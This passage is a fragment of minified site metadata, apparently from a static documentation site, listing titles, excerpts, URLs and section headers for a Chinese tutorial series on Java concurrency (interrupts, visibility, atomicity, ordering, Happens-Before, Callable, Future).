冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"当我们在调用Java对象的wait()方法或者线程的sleep()方法时,需要捕获并处理InterruptedException异常。如果我们对InterruptedException异常处理不当,则会发生我们意想不到的后果!今天,我们就以一个案例的形式,来为大家详细介绍下为何中断执行的线程不起作用。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"明明中断了线程,却为何不起作用呢?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html"},{name:"twitter:title",content:"明明中断了线程,却为何不起作用呢?"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html",relativePath:"md/concurrent/basics/2020-03-30-001-明明中断了线程,却为何不起作用呢?.md",key:"v-299725c0",path:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html",headers:[{level:2,title:"程序案例",slug:"程序案例"},{level:2,title:"问题分析",slug:"问题分析"},{level:2,title:"问题解决",slug:"问题解决"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"由InterruptedException异常引发的思考",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"由InterruptedException异常引发的思考",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"当我们在调用Java对象的wait()方法或者线程的sleep()方法时,需要捕获并处理InterruptedException异常。如果我们对InterruptedException异常处理不当,则会发生我们意想不到的后果!今天,我们就以案例的形式聊聊并发编程中的InterruptedException异常。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"由InterruptedException异常引发的思考"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html"},{name:"twitter:title",content:"由InterruptedException异常引发的思考"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html",relativePath:"md/concurrent/basics/2020-03-30-002-由InterruptedException异常引发的思考.md",key:"v-31bbb118",path:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html",headers:[{level:2,title:"程序案例",slug:"程序案例"},{level:2,title:"问题分析",slug:"问题分析"},{level:2,title:"问题解决",slug:"问题解决"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"写在最后",slug:"写在最后-2"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"要想学好并发编程,关键是要理解这三个核心问题",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"要想学好并发编程,关键是要理解这三个核心问题",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"写【高并发专题】有一段时间了,一些读者朋友留言说,并发编程很难,学习了很多的知识,但是在实际工作中却无从下手。对于一个线上产生的并发问题,又不知产生这个问题的原因究竟是什么。对于并发编程,感觉上似乎是掌握了,但是真正用起来却不是那么回事!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"要想学好并发编程,关键是要理解这三个核心问题"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html"},{name:"twitter:title",content:"要想学好并发编程,关键是要理解这三个核心问题"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html",relativePath:"md/concurrent/basics/2020-03-30-003-要想学好并发编程,关键是要理解这三个核心问题.md",key:"v-445822d6",path:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html",headers:[{level:2,title:"分工",slug:"分工"},{level:2,title:"同步",slug:"同步"},{level:2,title:"互斥",slug:"互斥"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"要想学好并发编程,关键是要理解这三个核心问题",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"要想学好并发编程,关键是要理解这三个核心问题",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"工作了3年的小菜同学,平时在公司只是做些CRUD的常规工作,这次,出去面试被面试官一顿虐啊!尤其是并发编程的知识简直就是被吊打啊。小菜心有不甘,回来找自己工作经验非常丰富的朋友大冰来帮助自己提升并发编程的知识,于是便有了接下来的一系列小菜学并发的文章。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"要想学好并发编程,关键是要理解这三个核心问题"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html"},{name:"twitter:title",content:"要想学好并发编程,关键是要理解这三个核心问题"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html",relativePath:"md/concurrent/basics/2020-03-30-004-导致并发编程频繁出问题的“幕后黑手”.md",key:"v-18b95f38",path:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html",headers:[{level:2,title:"并发编程的难点",slug:"并发编程的难点"},{level:2,title:"操作系统做出的努力",slug:"操作系统做出的努力"},{level:3,title:"CPU增加了缓存",slug:"cpu增加了缓存"},{level:3,title:"操作系统增加了进程和线程",slug:"操作系统增加了进程和线程"},{level:3,title:"优化CPU指令执行顺序",slug:"优化cpu指令执行顺序"},{level:2,title:"揪出“幕后”黑手",slug:"揪出-幕后-黑手"},{level:2,title:"总结",slug:"总结"},{level:2,title:"总结",slug:"总结-2"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"一文解密诡异并发问题的第一个幕后黑手:可见性问题",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"一文解密诡异并发问题的第一个幕后黑手:可见性问题",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"对于什么是可见性,比较官方的解释就是:一个线程对共享变量的修改,另一个线程能够立刻看到。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"一文解密诡异并发问题的第一个幕后黑手:可见性问题"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"twitter:title",content:"一文解密诡异并发问题的第一个幕后黑手:可见性问题"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html",relativePath:"md/concurrent/basics/2020-03-30-005-解密诡异并发问题的第一个幕后黑手——可见性问题.md",key:"v-b7200bd4",path:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"可见性",slug:"可见性"},{level:2,title:"可见性问题",slug:"可见性问题"},{level:3,title:"单核CPU不存在可见性问题",slug:"单核cpu不存在可见性问题"},{level:3,title:"多核CPU存在可见性问题",slug:"多核cpu存在可见性问题"},{level:3,title:"Java中的可见性问题",slug:"java中的可见性问题"},{level:2,title:"代码示例",slug:"代码示例"},{level:2,title:"总结",slug:"总结"},{level:2,title:"结尾",slug:"结尾"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"解密导致并发问题的第二个幕后黑手:原子性问题",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"解密导致并发问题的第二个幕后黑手:原子性问题",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"原子性是指一个或者多个操作在CPU中执行的过程不被中断的特性。原子性操作一旦开始运行,就会一直到运行结束为止,中间不会有中断的情况发生。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"解密导致并发问题的第二个幕后黑手:原子性问题"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"twitter:title",content:"解密导致并发问题的第二个幕后黑手:原子性问题"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html",relativePath:"md/concurrent/basics/2020-03-30-006-解密导致并发问题的第二个幕后黑手——原子性问题.md",key:"v-2736e994",path:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"原子性",slug:"原子性"},{level:2,title:"线程切换",slug:"线程切换"},{level:2,title:"原子性问题",slug:"原子性问题"},{level:2,title:"Java中的原子性问题",slug:"java中的原子性问题"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"文末福利",slug:"文末福利"},{level:2,title:"写在最后",slug:"写在最后-2"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"解密导致并发问题的第三个幕后黑手:有序性问题",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"解密导致并发问题的第三个幕后黑手:有序性问题",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"有序性是指:按照代码的既定顺序执行。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"解密导致并发问题的第三个幕后黑手:有序性问题"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"twitter:title",content:"解密导致并发问题的第三个幕后黑手:有序性问题"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html",relativePath:"md/concurrent/basics/2020-03-30-007-解密导致并发问题的第三个幕后黑手——有序性问题.md",key:"v-01e4323c",path:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"有序性",slug:"有序性"},{level:2,title:"指令重排序",slug:"指令重排序"},{level:2,title:"有序性问题",slug:"有序性问题"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"写在最后",slug:"写在最后-2"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"一文秒懂Happens-Before原则",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"一文秒懂Happens-Before原则",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"在并发编程中,Happens-Before原则是我们必须要掌握的,今天我们就一起来详细聊聊并发编程中的Happens-Before原则。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"一文秒懂Happens-Before原则"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html"},{name:"twitter:title",content:"一文秒懂Happens-Before原则"},{name:"twitter:url",content:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html",relativePath:"md/concurrent/basics/2020-03-30-008-一文秒懂Happens-Before原则.md",key:"v-16c9a526",path:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html",headers:[{level:3,title:"【原则一】程序次序规则",slug:"【原则一】程序次序规则"},{level:3,title:"【原则二】volatile变量规则",slug:"【原则二】volatile变量规则"},{level:3,title:"【原则三】传递规则",slug:"【原则三】传递规则"},{level:3,title:"【原则四】锁定规则",slug:"【原则四】锁定规则"},{level:3,title:"【原则五】线程启动规则",slug:"【原则五】线程启动规则"},{level:3,title:"【原则六】线程终结规则",slug:"【原则六】线程终结规则"},{level:3,title:"【原则七】线程中断规则",slug:"【原则七】线程中断规则"},{level:3,title:"【原则八】对象终结原则",slug:"【原则八】对象终结原则"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/bottom/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/concurrent/bottom/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/bottom/default.html",relativePath:"md/concurrent/bottom/default.md",key:"v-b1628c52",path:"/md/concurrent/bottom/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/framework/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/concurrent/framework/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/framework/default.html",relativePath:"md/concurrent/framework/default.md",key:"v-96e84136",path:"/md/concurrent/framework/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/interview/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/concurrent/interview/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/interview/default.html",relativePath:"md/concurrent/interview/default.md",key:"v-0afc3a45",path:"/md/concurrent/interview/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"一文搞懂线程与多线程",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"一文搞懂线程与多线程",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"从操作系统级别彻底搞懂线程与多线程。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"一文搞懂线程与多线程"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html"},{name:"twitter:title",content:"一文搞懂线程与多线程"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html",relativePath:"md/concurrent/source/2020-03-30-001-一文搞懂线程与多线程.md",key:"v-31ebc6be",path:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html",headers:[{level:2,title:"一、线程与多线程",slug:"一、线程与多线程"},{level:3,title:"1.线程",slug:"_1-线程"},{level:3,title:"2.多线程",slug:"_2-多线程"},{level:2,title:"二、实现线程的方式",slug:"二、实现线程的方式"},{level:2,title:"三、线程的生命周期",slug:"三、线程的生命周期"},{level:3,title:"1.生命周期",slug:"_1-生命周期"},{level:3,title:"2.代码示例",slug:"_2-代码示例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"如何确保线程按照我们想要的顺序执行",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"如何确保线程按照我们想要的顺序执行",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"调用Thread的start()方法启动线程时,线程的执行顺序是不确定的。也就是说,在同一个方法中,连续创建多个线程后,调用线程的start()方法的顺序并不能决定线程的执行顺序,今天,我们来聊聊如何确保线程按照我们想要的顺序执行。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"如何确保线程按照我们想要的顺序执行"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html"},{name:"twitter:title",content:"如何确保线程按照我们想要的顺序执行"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html",relativePath:"md/concurrent/source/2020-03-30-002-如何确保线程按照我们想要的顺序执行.md",key:"v-1f23bca6",path:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html",headers:[{level:2,title:"一、线程的执行顺序是不确定的",slug:"一、线程的执行顺序是不确定的"},{level:2,title:"二、如何确保线程的执行顺序",slug:"二、如何确保线程的执行顺序"},{level:3,title:"1.确保线程执行顺序的简单示例",slug:"_1-确保线程执行顺序的简单示例"},{level:3,title:"2.join方法如何确保线程的执行顺序",slug:"_2-join方法如何确保线程的执行顺序"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"深入解析Callable接口",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"深入解析Callable接口",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"本文纯干货,从源码角度深入解析Callable接口,希望大家踏下心来,打开你的IDE,跟着文章看源码,相信你一定收获不小。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"深入解析Callable接口"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:title",content:"深入解析Callable接口"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html",relativePath:"md/concurrent/source/2020-03-30-003-深入解析Callable接口.md",key:"v-691192ba",path:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html",headers:[{level:3,title:"1.Callable接口介绍",slug:"_1-callable接口介绍"},{level:3,title:"2.实现Callable接口的重要类分析",slug:"_2-实现callable接口的重要类分析"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"两种异步模型与深度解析Future接口",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"两种异步模型与深度解析Future接口",tagline:"by 